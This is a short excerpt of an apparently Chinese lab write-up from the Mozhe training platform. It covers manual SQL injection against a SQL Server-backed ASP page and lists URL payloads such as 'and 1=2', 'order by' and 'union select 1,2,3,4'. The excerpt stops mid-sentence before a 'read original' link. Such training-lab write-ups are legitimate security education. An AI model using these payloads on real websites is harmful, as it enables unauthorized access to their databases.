墨者 - SQL手工注入漏洞測試(Sql Server數據庫)

/new_list.asp?id=2 and 1=2  ,返回頁面沒報錯    /new_list.asp?id=2 order by 1 ,測試有多少個字段，知道order by 4還有頁面回顯   這裏有個坑，一開始走正常的流程測回顯位置 /new_list.asp?id=2 and 1=2  union  select 1,2,3,4  ， 用 union select 連接，頁面報錯 後來

>>阅读原文<<